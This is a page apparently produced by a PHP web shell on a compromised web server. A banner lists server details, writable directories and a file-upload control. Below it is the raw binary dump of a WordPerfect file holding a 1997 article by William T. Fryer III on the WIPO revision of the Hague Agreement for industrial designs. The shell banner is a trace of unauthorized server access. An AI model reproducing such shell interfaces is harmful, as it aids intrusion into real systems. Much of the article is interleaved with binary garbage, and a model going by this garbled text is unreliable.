KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/fryer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/fryer/WS2HA1.FN
�WPC�
�6�=�5��{=�̊6��Sp!P��|C,(�
�i��t��Z�w����
��_��x��~�k�wg��ȸ��v`�^�N���<檴�N������Ru1'�DN:��\ؚ8�P�Y�d�ngI�u�@�-6o(F�Hԙ��%-K"�L/��]�	_�;�8?�QV�)A�G��$0�b���|�,�m��z�7y���HY��(�d����1���Pa.��"��@J'�G��J�����=[<�{b70gY�oЈ/��9Rc])!m�kv|~n�,H׭Db�A�K�l�!�j�[f�����[���jE�'@��f�%�w�	�j�IC�u+ה������A�)���%�<�v�������d!�Wx�}��Ɍ��R���6� � }&���w�@҇k*wb�+�j7�7�9?T�OS��N���p3��Bl���\�j�W�?Yղ��
�ޮQ8�Bu^ݯ�$�&�`����F���#VUNa	%�0(�w@�41U:@UFzUF�UFUFL�
�

'
.PerfectFit Partner
.

�Canon BJC-620WPSCS�+,..,�+0nL��(��T	Z�6Times New Roman RegularX($��
�E��E��E���E��e���� 3|x�<�6X9`("Courier 10cpi<��	9Z�.Courier New Regular<��	9Z�.Courier New Regular<��	9Z�.Courier New Regular<��	9Z�.Courier New Regular�
�!�����������������������
XYBXXX�������
��w�X
XYB�INDUSTRIAL�DESIGN�TREATY�	� �REVISION�UPDATE��HAGUE�AGREEMENT�FOR�THE�INTERNATIONAL�DEPOSIT�OF�INDUSTRIAL�DESIGNS�#�
XYBX�
��wr#���
�:#�X
XYB��	f
� ��#�
XYBX�
�:#5#��f�������
�:#�X
XYB�INTRODUCTION�#�
XYBX�
�:#�#��	�" �������������������
����X
XYB��The�Hague�Agreement�for�the�International�Deposit�of�Industrial�Designs�(Hague�Agreement)�has�been�in�operation�in�one�form�of�another�since�1934.��It�provides�centralized�process�by�the�World�Intellectual�Property�Organization�(WIPO)�for�filing�design�applications�in�member�countries.��It�is�an�effective�and�efficient�way�to�obtain�design�protection,�since�applications�can�be�filed�in�one�language�(French�or�English)�on�a�standardized�form,�with�all�fees�paid�to�WIPO,�including�renewal�fees.��A�summary�of�the�treaty�history�and�operation�can�be�found�on�the�WIPO�home�page�[insert�link:�http://www.wipo.int/eng/general/ipip/hague.htm����].��Most�countries�with�novelty�examination�requirements�do�not�belong�to�the�Hague�Agreement,�primarily�due�to�the�short�time�(6�months)��required�to�make�a�decision�whether�to�accept�the�International�Registration.��The�U.S.�and�Japan�are�not�members�of�the�treaty.�The�vast�majority�of�countries�belonging�to�the�Hague�Agreement�have�registration�systems�(only�formal�examination�by�the�Patent�Office).���������#�
XYBX�
���'#���

��������������	�,A(# ���
�:#�X
XYB�TREATY�REVISION��

��#�
XYBX�
�:#�#���
����X
XYB��The�Hague�Agreement�is�in�process�of�being�revised,�to�help�expand�its�membership,�particularly�attracting�countries�with�novelty�examination�systems.��The�6th�meeting�of�experts�working�on�this�revision�occurred�on�November�4�7,�1996.��A�report�on�this�meeting�is�found�in�WIPO�Document�H/CE/VI/5�(November�7,�1996).��For�background�on�this�project,�see�the�articles�listed�below.�#���G��
���;#���
�������G��	_�		 ��The�draft�treaty�text�reviewed�at�the�6th�meeting�of�experts�was�a�major�revision,��#���G��
����#����������G�due�to�its�	z� �reorganization�of�the�text�into�two�main�chapters.��Chapter�I�was�for�countries�with�non�novelty�examination,�and�chapter�2�was�for�countries�with�novelty�examination,�like�the�U.S.�and�Japan.��The�current�Hague�Agreement�provisions�were�essentially�the�substance�of�chapter�������I.��������������The�challenge�has�been�to�adapt�the�current�treaty�to�accept�novelty�examination�countries.��Some�non��novelty�examination�countries�would�like�the�U.S.�and�Japan,�for�example,�to�improve�their�design�patent�protection�in�order�to�be�a�member.��While�substantive�changes�are�not�being�discussed�in�this�treaty,�what�is�procedural�and�substantive�is�not�easy�to�determine�sometimes.��The�main�revised�draft�treaty�were�the�maximum�application�requirements�to�obtain�a�filing�date�and�the�time�to�provide�a�refusal�(first�office�action).��In�general,�the�reorganized�draft�text,�with�new�chapters�I�and�II,�was�a�workable�approach.��It�allowed�current�Hague�Agreement�members�to�function�within�chapter�I�in�a�familiar�way.��The�primary�concern�was�article�5(2)�that�allowed�members�to�deny�access�to�members�that�did�not�comply�with�certain�standards.��The�chief�targets�were�novelty�	m-�(' �examination�countries.��For�example,�the�time�for�refusing�effect�of�an�international�registration�in�chapter�I�is�6�months.��If�that�time�limit�is�not�met,�an�access�denial�could�be�made,�at�the�option�of�any�member,�and�it�would�be�reciprocal.����William�T.�Fryer,�III,�attended�the�6th�meeting�of�experts,�at�WIPO�in�Geneva,�Switzerland,�representing�the�American�Bar�Association,�Section�of�Intellectual�Property�Law�(ABA).�He�reported�that�interest�level�in�this�treaty�revision�remained�high.��The�U.S.�delegation�was�well�prepared,�led�by�Dick�Wilder,�from�the�PTO�Office�of�Legislation�and�External�Affairs.��The�U.S.�decided�to�oppose�article�5(2),�taking�the�position�that�every�member�should�have�full�access�to�all�benefits�under�a�revised�treaty.��His�report�continued�that�the�meeting�discussion�gradually�developed�a�consensus�that�article�5(2)�should�be�eliminated.��There�were�many�factors�that�contributed�to�this�change.��The�PTO�committed�to�having�a�first�office�action�response�within�12�months�of�receiving�the�International�Registration.��The�Japanese�Patent�Office�(JPO)�proposed�an�18�months�response.��The�draft�text�had�a�maximum�response�time�of�30�months.��These�significant�proposals,�and�other�compromises,�suggest�that�the�treaty�revision�work�is�close�to�completion.��Mr.�Fryer�reported�that�a�meeting�of�"consultants",�including�representative�from�these�organizations,�was�held�at�WIPO�on�February�10�12,�1997.��The�purpose�of�this�meeting�was�to�have�an�informal�discussion�about�the�new�drafts�of�the�Hague�Agreement�and�regulations.�This�very�strong�effort�to�finish�the�treaty�revision�successfully�is�due�to�the�close�cooperation�and�diligence�of�the�government�representatives�involved�in�this�treaty�revision.�	-_(' ���He�concluded�that�if�the�basic�structure�of�the�treaty�revision�is�settled,�as�it�seems�to�be,�the�next�task�is�to�finish�the�regulations.��The�Consultant's�meeting�results�will�determine�whether�the�7th�meeting�of�experts�will�be�the�last�one,�completing�the�final�steps�in�preparing�the�draft�treaty�for�consideration�at�a�diplomatic�conference,�probably�in�1998.��There�remains�a�need�for�interested�organizations�to�be�actively�involved�in�the�treaty�preparation�process.����#�XYBX����!#����:#�XXYB�PTO�ACTIONS�TO�PREPARE�FOR�ADHERENCE�TO�	l �A�REVISED�TREATY�#�XYBX��:#�#��	��

 ��������XXYB�The�U.S.�Patent�and�Trademark����������O������O���ffice������������(PTO)�has�made�	� �several�changes�in�the�design�patent�system�procedures�that�will�facilitated�U.S.�participation�in�a�revised�Hague�Agreement.��For�example,�the�PTO�has�recently�placed�on�each�design�patent,�along�with�the�U.S.�design�classification,�the�International�Design�Classification�(Locarno�Agreement).��A�Section�resolution�supported�this�change�(AR�R�412�1).��The�International�Design�Classification�is�used�for�Hague�Agreement�and�most�other�countries�have�adopted�it.���Another�example�of�PTO�commitment�has�been�in�reducing�design�patent�pendency,�closely�related�to�U.S.�participation�in�the�Hague�Agreement.��������Deput���ing���������Y���������y����������������Commissioner�Goffney�recently�stated�that�the�Design�Group�is�on�the�leading�edge�of�the�PTO�re��engineering�program.��The�Group�now�receives�mail�directly,�processes�fees,�petitions�and�drawing�reviews.��It�is�close�to�a�one�stop�service.��These�steps�have�cut�down�significantly�the�pendency�time,�and�more�improvement�should�be�possible.���The�average�pendency�for�design�patents�in�Fiscal�Year�1995�was�17.9�months�and�the�approximate�maximum�time�for�first�office�actions�was�18�months�in�Fiscal�1996.��These�statistics�show�continued�	�-�(' �improvement�that�benefits�domestic�users,�as�well�making�the�U.S.�design�patent�system�fit�more�effectively�into�an�international�agreement.��There�is�continue�effort�in�the�Design�Group�to�improve�administration�and�procedures.��The�first�office�action�maximum�will�have�to�be�reduced�to�12�months�under�the�draft�revised�treaty.�����The�insights�gained�from�the�increased�PTO�contact�with�representatives�from�foreign�design�patent�offices�has�been�very�useful.��At�each�meeting�of�experts�on�the�Hague�Agreement�revision�the�experts�share�information�on�design�patent�procedures,�accounting�in�large�measure�for�the�rapid�progress�made�in�many�countries�and�in�the�European�Union�to�improve�design�protection.��#�XYBX����1#����#�X��XXXYB�	#������XX���SUPPORT�IS�NEED�FOR�TREATY�REVISION�	�5 ���#�X��X���� #�����G�XX���THERE�IS�A�CONTINUING�NEED�TO�SUPPORT�IN�EACH�COUNTRY�	�= �THE�HAGUE�AGREEMENT�REVISION�WORK.��IT�IS�SUGGESTED�THAT�INTERESTED�PERSONS�AND�ORGANIZATIONS�STRONGLY�INDICATE�THEIR�SUPPORT�FOR�THIS�WORK,�BY�CONTACTING�THE�HEAD�OF�THEIR�PATENT�OFFICE.��IN�THE�U.S.�THE�CONTACT�PERSON�IS:�RICHARD�WILDER,�ATTORNEY/ADVISOR,�PATENT�AND�TRADEMARK�OFFICE,�OFFICE�OF�LEGISLATION�AND�INTERNATIONAL�AFFAIRS,�TEL.�(703)�305�9300,�FAX�(703)�305�8885.�#�X��X���GZ!#��	� @ ���
XYBXXX�������
�:#�X
XYB�ARTICLES�ON�THE�HAGUE�AGREEMENT�#�
XYBX�
�:#�##��	�# ����
����X
XYB�ADVANCED�NOTICE:�At�the�National�Conference�on�	&Q! �Industrial�Design�Protection,�held�November�23,�1997,�in�Washington,�D.C.,�a�paper�was�presented�by�Francois�Curchod,�Deputy�Director,�WIPO,�on�the�progress�made�in�revision�of�the�Hague�Agreement.��The�article�will�be�published�in�an�upcoming�issue�of�the�American�Intellectual�Property�Law�Organization�Quarterly�Journal.�Mr.�Curchod�has�	@-�(& �coordinated�the�work�of�WIPO�on�this�treaty�revision.��William�T.�Fryer,�III,�Seeking�a�Benefits�Balance�in�the�Industrial�Design�Treaty�Revision�(Hague�Agreement):�Fifth�Meeting�of�Experts,�Held�June�13��16,�1995,�77�J.�Pat.�&�Trademark�Off.�Soc'y�931�(1995),�and�articles�cited�in�this�article.�#���G��
���s##��	�? �����������G�William�T.�Fryer,�III,�International�Industrial�	m		 �Design�Protection�Improvement:��The�Hague�Agreement�Revision,�2�U.��#���G�����6'#���	�������G�Balt.�Intell.�Prop.�L.�J.�37�(1993)�	/ �(published�in�1995).��#���G��	����'#��	8� ����	�������G�William�T.�Fryer,�III,�More�Bang�for�Your�Design�	f� �Protection�Money:��A�Report�on�the�Hague�Agreement�Third�Meeting�of�Experts,�76�J.�Pat.�&�Trademark�Off.�Soc'y�91�115�(1994).��#���G��	����(#���
�������G��Pierre�Maugue��,�The�International�Protection�of�Industrial�Design�Under�the�International�Conventions,�19�University�of�Baltimore�Law�Review�393�4�2�(1990).��#���G��
����)#���	�������G��William�T.�Fryer,�III,�Report�on�Hague�Agreement�(Industrial�Designs)�Second�Meeting�of�Experts,�WIPO,�April�27�30,�1992,�74�J.�Pat.�&�Trademark�Off.�Soc'y�923�937�(1992).��#���G��	����*#���#�X��X���G$#�������XX���PLEASE�NOTIFY�THE�WEB�SITE�IF�THERE�ARE�	�#D �OTHER�ARTICLES�ON�THE�HAGUE�AGREEMENT�THAT�SHOULD�BE�INCLUDED�IN�THIS�LIST.�#�X��X��㣠+#��	�&L"  ����THIS�PAGE�WAS�LAST�UPDATED�ON�:�MARCH�24,�1997.����G�XX����	A+�&$ ���	Q-�(& �SEND�COMMENTS�AND�ON�THE�HAGUE�AGREEMENT�REVISION�TO�THE�WEB�SITE�E�MAIL�ADDRESS:�[email protected]�����COPYRIGHT�������1997������������w.���������W.T.�FRYER,�III���,������ALL�RIGHTS�RESERVED�(SEE�CONDITION�ON�WEB�SITE�USE�FOR�EXCEPTIONS).��INSERT�LINK�BACK�TO�HOME�PAGE

Anon7 - 2021